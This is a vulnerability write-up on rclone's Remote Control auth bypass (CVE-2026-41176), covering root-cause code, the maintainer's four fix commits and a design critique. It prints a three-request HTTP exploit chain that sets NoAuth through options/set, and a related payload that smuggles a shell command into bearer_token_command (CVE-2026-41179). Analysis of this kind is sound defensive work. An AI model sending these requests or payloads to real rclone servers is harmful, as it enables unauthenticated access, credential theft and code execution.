//nefariousplan

CVE-2026-41176: rclone's options/set Could Set rc.NoAuth. options/set Did Not Require Auth.

pattern

cve

proof of concept

rclone's Remote Control (RC) server gates protected endpoints behind a per-call boolean named AuthRequired. The check at request time reads three values: was the server started with --rc-no-auth, did this call mark itself AuthRequired: true, and is HTTP authentication configured. The first of those values lived in a mutable options struct, and the endpoint whose entire job was to write that struct was registered without AuthRequired. An unauthenticated POST to /options/set could set rc.NoAuth = true, and from that point every endpoint that had opted into the gate stopped opting in.

The maintainer fixed it on April 14, 2026, in four commits over seventeen minutes. The first three fixed instances. The fourth admitted the design.

The gate read NoAuth from a struct the gateless endpoint could write to

Pre-patch, fs/rc/rcserver/rcserver.go ran this block at the top of every RC request:

// Check to see if it requires authorisation
if !s.opt.NoAuth && call.AuthRequired && !s.server.UsingAuth() {
    writeError(path, in, w, fmt.Errorf("authentication must be set up on the rc server to use %q or the --rc-no-auth flag must be in use", path), http.StatusForbidden)
    return
}

Three booleans ANDed. The 403 fires only if all three are true.

!s.opt.NoAuth reads the global no-auth toggle. If the server was started with --rc-no-auth, this is false and the gate short-circuits. The relevant detail is the deref: s.opt is a pointer to the rc.Options struct that was populated at startup. The struct is mutable. So is every field in it.

call.AuthRequired reads a per-endpoint flag. The Call type is in fs/rc/registry.go:

type Call struct {
    Path          string
    Fn            Func   `json:"-"`
    Title         string
    AuthRequired  bool   // if set then this call requires authorisation to be set
    Help          string
    NeedsRequest  bool
    NeedsResponse bool
}

The zero value of a Go bool is false. Every endpoint registered through rc.Add(Call{...}) starts at AuthRequired: false. Endpoints that need authentication opt in by writing AuthRequired: true explicitly in the registration literal.

!s.server.UsingAuth() reads whether HTTP-level credentials are configured. If the operator passed --rc-user, --rc-pass, or --rc-htpasswd, this is false and the gate short-circuits. The bug is reachable only when none of those flags are set at startup. That is the default deployment shape for development rclone rcd instances and for any operator who runs rclone behind a reverse proxy that handles authentication at a different layer.

The three checks compose: the request is blocked if and only if (no global NoAuth) AND (this call opted in) AND (no HTTP creds). Flip any one and the gate doesn't fire.

options/set was registered without AuthRequired

fs/rc/config.go, pre-patch, registered the endpoint:

func init() {
    Add(Call{
        Path:  "options/set",
        Fn:    rcOptionsSet,
        Title: "Set an option",
        Help: `Parameters: ...`,
    })
}

No AuthRequired: true. The handler:

func rcOptionsSet(ctx context.Context, in Params) (out Params, err error) {
    for name, options := range in {
        opt, ok := fs.OptionsRegistry[name]
        if !ok {
            return nil, fmt.Errorf("unknown option block %q", name)
        }
        err := Reshape(opt.Opt, options)
        if err != nil {
            return nil, fmt.Errorf("failed to write options from block %q: %w", name, err)
        }
        if opt.Reload != nil {
            err = opt.Reload(ctx)
        }
    }
    return out, nil
}

fs.OptionsRegistry is a map from block name to *fs.RegInfo, where Opt is a pointer to the live struct backing that block. The rc block points at the same rc.Options value that lives behind s.opt on every Server. Reshape(opt.Opt, options) round-trips the JSON object through mapstructure and writes its fields onto the struct. Posting {"rc":{"NoAuth":true}} writes true to the same NoAuth field the auth gate reads on the next request.

The first check in the auth predicate was a pointer indirection into a writeable struct, and one of the registered writers of that struct was unauthenticated.

Three requests, the middle one is the bypass

projectdiscovery's nuclei template encodes the chain in three POSTs. The template is http/cves/2026/CVE-2026-41176.yaml, signed off as tags: cve,cve2026,rclone,auth-bypass,rce,unauth,vkev. The vkev tag is the catalog's marker that the CVE is on the CISA Known Exploited Vulnerabilities list.

Step 1, prove the gate fires:

POST /config/listremotes HTTP/1.1
Host: target:5572
Content-Type: application/json

{}

Expected: 403 Forbidden. config/listremotes was registered with AuthRequired: true. The gate's three checks all evaluate true, the 403 returns.

Step 2, flip the gate:

POST /options/set HTTP/1.1
Host: target:5572
Content-Type: application/json

{"rc":{"NoAuth":true}}

Expected: 200 OK with body {}. options/set was not registered with AuthRequired: true. The middle check in the predicate is false; the predicate is false; the handler runs. Reshape(opt.Opt, options) writes true to s.opt.NoAuth.

Step 3, walk through the gate that no longer fires:

POST /config/listremotes HTTP/1.1
Host: target:5572
Content-Type: application/json

{}

Expected: 200 OK with the remotes list. The first check evaluates !s.opt.NoAuth, which is now !true = false. The expression short-circuits before the AuthRequired flag is even read. Every endpoint that had opted in is now reachable: config/listremotes, config/dump, config/create, config/update, config/password, operations/list, operations/movefile, operations/copyfile, operations/delete, backend/command, core/command, the entire administrative surface.

backend/command and core/command execute named subcommands inside the rclone process. config/create writes credentials into the rclone config file with attacker-supplied keys. The bug is filed as auth bypass, CWE-306. The reachable surface includes code execution.

Four commits in seventeen minutes

Nick Craig-Wood landed the fixes on April 14, 2026, between 17:00 and 17:18 BST.

17:00:25, commit 06aa958ad6fd. Title: rc: add AuthRequired to options/set to prevent auth bypass CVE-2026-41176.

 func init() {
     Add(Call{
-        Path:  "options/set",
-        Fn:    rcOptionsSet,
-        Title: "Set an option",
+        Path:         "options/set",
+        AuthRequired: true,
+        Fn:           rcOptionsSet,
+        Title:        "Set an option",

One line. The narrowest possible fix. Closes the door named in GHSA-25qr-6mpr-f7qx.

17:01:18, commit 08490972a53e, fifty-three seconds later. Title: rc: snapshot NoAuth at startup to prevent runtime auth bypass CVE-2026-41176.

 type Server struct {
     ...
     opt            *rc.Options
+    noAuth         bool // snapshot of opt.NoAuth at startup to prevent runtime mutation
 }

 func newServer(...) {
     ...
+    noAuth:         opt.NoAuth,
 }

-if !s.opt.NoAuth && call.AuthRequired && !s.server.UsingAuth() {
+if !s.noAuth && call.AuthRequired && !s.server.UsingAuth() {

The gate stops reading from the mutable Options struct and reads from a bool frozen at server construction. From this commit forward, no runtime mutation of rc.NoAuth, by options/set or any other future writer, can flip the gate. Defense in depth. The first commit had already closed the only known door this could be reached through. The second commit was the maintainer asking what other doors he had not yet found, and answering by making the question moot.

17:08:55, commit 9e3e68d00c3e, seven minutes later. Title: operations: add AuthRequired to operations/fsinfo to prevent backend creation CVE-2026-41179.

 func init() {
     rc.Add(rc.Call{
-        Path:  "operations/fsinfo",
-        Fn:    rcFsInfo,
-        Title: "Return information about the remote",
+        Path:         "operations/fsinfo",
+        AuthRequired: true,
+        Fn:           rcFsInfo,
+        Title:        "Return information about the remote",

Same shape as commit one. Different endpoint, different CVE. operations/fsinfo was the second endpoint that had been registered without AuthRequired: true, and the bug it produced was unauthenticated command execution: an attacker-supplied fs=:webdav,url='http://x',vendor=other,bearer_token_command='id': triggered backend instantiation, and the WebDAV backend runs bearer_token_command as a shell command at construction time. Same finder, 0wnerDied. Same root cause.

17:17:58, commit f191448b0dde, nine minutes after the fsinfo patch. Title: rc: flip auth default so all endpoints require auth unless opted out. Twenty files, two hundred and twenty-one lines removed, one hundred and ninety-four added.

The Call struct is rewritten:

 type Call struct {
     Path          string
     Fn            Func   `json:"-"`
     Title         string
-    AuthRequired  bool   // if set then this call requires authorisation to be set
+    NoAuth        bool   // if set then this call does not require authentication
     Help          string
     NeedsRequest  bool
     NeedsResponse bool
 }

The predicate is inverted:

-if !s.noAuth && call.AuthRequired && !s.server.UsingAuth() {
+if !s.noAuth && !call.NoAuth && !s.server.UsingAuth() {

The default state of call.NoAuth is false. Endpoints that need authentication now do nothing in their registration; the new default is gate-on. Endpoints that want to be reachable without authentication must add NoAuth: true explicitly.

Across the twenty files in the diff, roughly forty endpoints lose their AuthRequired: true lines (they inherit the new default and stay protected). Exactly fourteen endpoints opt out, listed line by line in the commit message:

rc/noop, rc/error, rc/list, core/version, core/stats, core/group-list,
core/transferred, core/du, cache/stats, vfs/list, vfs/stats, vfs/queue,
job/status, job/list

All fourteen are read-only diagnostics. Everything else, including any future endpoint added by any future contributor who forgets the flag, requires authentication.

The commit message contains the maintainer's own diagnosis:

Previously endpoints were unauthenticated by default and had to opt in with AuthRequired: true, which led to security vulnerabilities when developers forgot to set the flag.

Plural. The footer cites two advisories: GHSA-25qr-6mpr-f7qx, GHSA-jfwf-28xr-xw6q.

Two CVEs from the same omission

options/set and operations/fsinfo were registered, in different files, at different times, by different commit authors over the years. Both shared one property: nobody typed AuthRequired: true in the literal. The first produced CVE-2026-41176, unauthenticated configuration mutation and disclosure. The second produced CVE-2026-41179, unauthenticated command execution. Both were reported by the same researcher (0wnerDied) in the same coordinated disclosure window. Both were fixed in the same release, v1.73.5, on April 19, 2026.

This is the design-debt-driver shape: a component whose architecture keeps producing the same bug class, where patches close instances and the design holds the primitive. The Call struct's AuthRequired bool, defaulting to false, is the substrate. Every endpoint registration is a chance to forget. The catalog already has the Marimo version of this shape, where Starlette's WebSocket framework offered no decorator equivalent of @requires(...) and three handlers were authored over the years; the one that forked a shell was the one written without an explicit validate_auth() call. It already has the OpenCode version, where the HTTP server runs unauthenticated by default and the patch added a CORS allowlist instead of authentication, leaving the design intact. rclone's contribution to the pattern is the one where the maintainer caught it.

Between commit two (defense in depth on the existing CVE) and commit four (flip the default), nine minutes elapsed. Nine minutes is the window where Nick Craig-Wood patched operations/fsinfo the narrow way (commit three) and then stopped doing it the narrow way. The first three commits were what the advisories demanded. The fourth is what the codebase demanded. It is the only one of the four that closes the design.

v1.45.0 shipped on November 24, 2018. The opt-in registration model was already the design. v1.73.5 shipped on April 19, 2026. Two thousand seven hundred and three days separate the design choice from its retirement. CVE-2026-41176 is the public record of one endpoint in that window. CVE-2026-41179 is the public record of a second. The fourth commit is what makes a third unnecessary.

PoC: projectdiscovery/nuclei-templates

The first three commits were what the advisories demanded. The fourth was what the codebase demanded. Nine minutes separate them.